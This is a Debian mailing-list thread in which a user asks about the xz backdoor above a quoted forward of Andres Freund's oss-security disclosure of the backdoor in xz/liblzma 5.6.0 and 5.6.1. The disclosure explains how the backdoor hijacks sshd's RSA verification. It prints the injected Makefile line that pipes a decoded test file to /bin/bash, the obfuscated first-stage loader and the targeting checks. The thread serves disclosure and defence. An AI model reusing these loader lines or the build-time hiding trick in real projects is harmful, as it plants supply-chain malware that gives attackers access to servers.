so is this a threat to us normal debian users
if so how do we fix it

On Sat, 30 Mar 2024, Jeffrey Walton wrote:

> It looks like more analysis has revealed this is a RCE with the
> payload in the modulus of a public key: "The payload is extracted from
> the N value (the public key) passed to RSA_public_decrypt, checked
> against a simple fingerprint, and decrypted with a fixed ChaCha20 key
> before the Ed448 signature verification..." Also see
> <https://www.openwall.com/lists/oss-security/2024/03/30/36>.
>
> On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton <noloa...@gmail.com> wrote:
>>
>> Seems relevant since Debian adopted xz about 10 years ago.
>>
>> ---------- Forwarded message ---------
>> From: Andres Freund <and...@anarazel.de>
>> Date: Fri, Mar 29, 2024 at 12:10 PM
>> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
>> server compromise
>> To: <oss-secur...@lists.openwall.com>
>>
>> Hi,
>>
>> After observing a few odd symptoms around liblzma (part of the xz package) on
>> Debian sid installations over the last weeks (logins with ssh taking a lot of
>> CPU, valgrind errors) I figured out the answer:
>>
>> The upstream xz repository and the xz tarballs have been backdoored.
>>
>> At first I thought this was a compromise of debian's package, but it turns 
>> out
>> to be upstream.
>>
>> == Compromised Release Tarball ==
>>
>> One portion of the backdoor is *solely in the distributed tarballs*. For
>> easier reference, here's a link to debian's import of the tarball, but it is
>> also present in the tarballs for 5.6.0 and 5.6.1:
>>
>> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
>>
>> That line is *not* in the upstream source of build-to-host, nor is
>> build-to-host used by xz in git.  However, it is present in the tarballs
>> released upstream, except for the "source code" links, which I think github
>> generates directly from the repository contents:
>>
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.0
>> https://github.com/tukaani-project/xz/releases/tag/v5.6.1
>>
>>
>> This injects an obfuscated script to be executed at the end of configure. 
>> This
>> script is fairly obfuscated and data from "test" .xz files in the repository.
>>
>>
>> This script is executed and, if some preconditions match, modifies
>> $builddir/src/liblzma/Makefile to contain
>>
>> am__test = bad-3-corrupt_lzma2.xz
>> ...
>> am__test_dir=$(top_srcdir)/tests/files/$(am__test)
>> ...
>> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
>>
>>
>> which ends up as
>> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
>>   \-_" "         _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>>
>> Leaving out the "| bash" that produces
>>
>> ####Hello####
>> #�Z�.hj�
>> eval `grep ^srcdir= config.status`
>> if test -f ../../config.status;then
>> eval `grep ^srcdir= ../../config.status`
>> srcdir="../../$srcdir"
>> fi
>> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
>> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
>> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
>> -c +1024 >/dev/null) && head -c +724)";(xz -dc
>> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
>> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
>> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
>> ####World####
>>
>> After de-obfuscation this leads to the attached injected.txt.
>>
>>
>> == Compromised Repository ==
>>
>> The files containing the bulk of the exploit are in an obfuscated form in
>>   tests/files/bad-3-corrupt_lzma2.xz
>>   tests/files/good-large_compressed.lzma
>> committed upstream. They were initially added in
>> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
>>
>> Note that the files were not even used for any "tests" in 5.6.0.
>>
>>
>> Subsequently the injected code (more about that below) caused valgrind errors
>> and crashes in some configurations, due the stack layout differing from what
>> the backdoor was expecting.  These issues were attempted to be worked around
>> in 5.6.1:
>>
>> https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
>> https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
>> https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92
>>
>> For which the exploit code was then adjusted:
>> https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89
>>
>> Given the activity over several weeks, the committer is either directly
>> involved or there was some quite severe compromise of their
>> system. Unfortunately the latter looks like the less likely explanation, 
>> given
>> they communicated on various lists about the "fixes" mentioned above.
>>
>>
>> Florian Weimer first extracted the injected code in isolation, also attached,
>> liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!
>>
>>
>> == Affected Systems ==
>>
>> The attached de-obfuscated script is invoked first after configure, where it
>> decides whether to modify the build process to inject the code.
>>
>> These conditions include targeting only x86-64 linux:
>>     if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) &&
>> (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
>>
>> Building with gcc and the gnu linker
>>     if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
>>     exit 0
>>     fi
>>     if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
>>     exit 0
>>     fi
>>     LDv=$LD" -v"
>>     if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
>>     exit 0
>>
>> Running as part of a debian or RPM package build:
>>     if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
>>
>> Particularly the latter is likely aimed at making it harder to reproduce the
>> issue for investigators.
>>
>>
>> Due to the working of the injected code (see below), it is likely the 
>> backdoor
>> can only work on glibc based systems.
>>
>>
>> Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
>> distributions, and where they have, mostly in pre-release versions.
>>
>>
>> == Observing Impact on openssh server ==
>>
>> With the backdoored liblzma installed, logins via ssh become a lot slower.
>>
>> time ssh nonexistant@localhost
>>
>> before:
>> nonexistant@localhost: Permission denied (publickey).
>>
>> before:
>> real    0m0.299s
>> user    0m0.202s
>> sys     0m0.006s
>>
>> after:
>> nonexistant@localhost: Permission denied (publickey).
>>
>> real    0m0.807s
>> user    0m0.202s
>> sys     0m0.006s
>>
>>
>> openssh does not directly use liblzma. However debian and several other
>> distributions patch openssh to support systemd notification, and libsystemd
>> does depend on lzma.
>>
>>
>> Initially starting sshd outside of systemd did not show the slowdown, despite
>> the backdoor briefly getting invoked. This appears to be part of some
>> countermeasures to make analysis harder.
>>
>> Observed requirements for the exploit:
>> a) TERM environment variable is not set
>> b) argv[0] needs to be /usr/sbin/sshd
>> c) LD_DEBUG, LD_PROFILE are not set
>> d) LANG needs to be set
>> e) Some debugging environments, like rr, appear to be detected. Plain gdb
>>    appears to be detected in some situations, but not others
>>
>> To reproduce outside of systemd, the server can be started with a clear
>> environment, setting only the required variable:
>>
>> env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D
>>
>>
>> In fact, openssh does not need to be started as a server to observe the
>> slowdown:
>>
>> slow:
>> env -i LANG=C /usr/sbin/sshd -h
>>
>> (about 0.5s on my older system)
>>
>>
>> fast:
>> env -i LANG=C TERM=foo /usr/sbin/sshd -h
>> env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
>> ...
>>
>> (about 0.01s on the same system)
>>
>>
>> It's possible that argv[0] other /usr/sbin/sshd also would have effect - 
>> there
>> are obviously lots of servers linking to libsystemd.
>>
>>
>> == Analyzing the injected code ==
>>
>> I am *not* a security researcher, nor a reverse engineer.  There's lots of
>> stuff I have not analyzed and most of what I observed is purely from
>> observation rather than exhaustively analyzing the backdoor code.
>>
>> To analyze I primarily used "perf record -e intel_pt//ub" to observe where
>> execution diverges between the backdoor being active and not. Then also gdb,
>> setting breakpoints before the divergence.
>>
>>
>> The backdoor initially intercepts execution by replacing the ifunc resolvers
>> crc32_resolve(), crc64_resolve() with different code, which calls
>> _get_cpuid(), injected into the code (which previously would just be static
>> inline functions).  In xz 5.6.1 the backdoor was further obfuscated, removing
>> symbol names.
>>
>> These functions get resolved during startup, because sshd is built with
>> -Wl,-z,now, leading to all symbols being resolved early. If started with
>> LD_BIND_NOT=1 the backdoor does not appear to work.
>>
>>
>> Below crc32_resolve() _get_cpuid() does not do much, it just sees that a
>> 'completed' variable is 0 and increments it, returning the normal cpuid 
>> result
>> (via a new _cpuid()). It gets to be more interesting during crc64_resolve().
>>
>> In the second invocation crc64_resolve() appears to find various information,
>> like data from the dynamic linker, program arguments and environment. Then it
>> perform various environment checks, including those above. There are other
>> checks I have not fully traced.
>>
>> If the above decides to continue, the code appears to be parsing the symbol
>> tables in memory. This is the quite slow step that made me look into the 
>> issue.
>>
>>
>> Notably liblzma's symbols are resolved before many of the other libraries,
>> including the symbols in the main sshd binary.  This is important because
>> symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.
>>
>>
>> To be able to resolve symbols in libraries that have not yet loaded, the
>> backdoor installs an audit hook into the dynamic linker, which can be 
>> observed
>> with gdb using
>>   watch _rtld_global_ro._dl_naudit
>> It looks like the audit hook is only installed for the main binary.
>>
>> That hook gets called, from _dl_audit_symbind, for numerous symbols in the
>> main binary. It appears to wait for "rsa_public_decr...@got.plt" to be
>> resolved.  When called for that symbol, the backdoor changes the value of
>> rsa_public_decr...@got.plt to point to its own code.  It does not do this via
>> the audit hook mechanism, but outside of it.
>>
>> For reasons I do not yet understand, it does change sym.st_value *and* the
>> return value of from the audit hook to a different value, which leads
>> _dl_audit_symbind() to do nothing - why change anything at all then?
>>
>> After that the audit hook is uninstalled again.
>>
>> It is possible to change the got.plt contents at this stage because it has 
>> not
>> (and can't yet) been remapped to be read-only.
>>
>>
>> I suspect there might be further changes performed at this stage.
>>
>>
>> == Impact on sshd ==
>>
>> The prior section explains that rsa_public_decr...@got.plt was redirected to
>> point into the backdoor code. The trace I was analyzing indeed shows that
>> during a pubkey login the exploit code is invoked:
>>
>>             sshd 1736357 [010] 714318.734008:          1  branches:uH:
>>      5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) =>
>> 5555555612d0 RSA_public_decrypt@plt+0x0 (/usr/sbin/sshd)
>>
>> The backdoor then calls back into libcrypto, presumably to perform
>> normal authentication
>>
>>             sshd 1736357 [010] 714318.734009:          1  branches:uH:
>>      7ffff7c137cd [unknown]
>> (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) =>     7ffff792a2b0
>> RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)
>>
>>
>> I have not yet analyzed precisely what is being checked for in the injected
>> code, to allow unauthorized access. Since this is running in a
>> pre-authentication context, it seems likely to allow some form of access or
>> other form of remote code execution.
>>
>> I'd upgrade any potentially vulnerable system ASAP.
>>
>>
>> == Bug reports ==
>>
>> Given the apparent upstream involvement I have not reported an upstream
>> bug. As I initially thought it was a debian specific issue, I sent a more
>> preliminary report to secur...@debian.org.  Subsequently I reported the issue
>> to distros@. CISA was notified by a distribution.
>>
>> Red Hat assigned this issue CVE-2024-3094.
>>
>>
>> == Detecting if installation is vulnerable ==
>>
>> Vegard Nossum wrote a script to detect if it's likely that the ssh binary on 
>> a
>> system is vulnerable, attached here. Thanks!
>>
>>
>> Greetings,
>>
>> Andres Freund
>

Reply via email to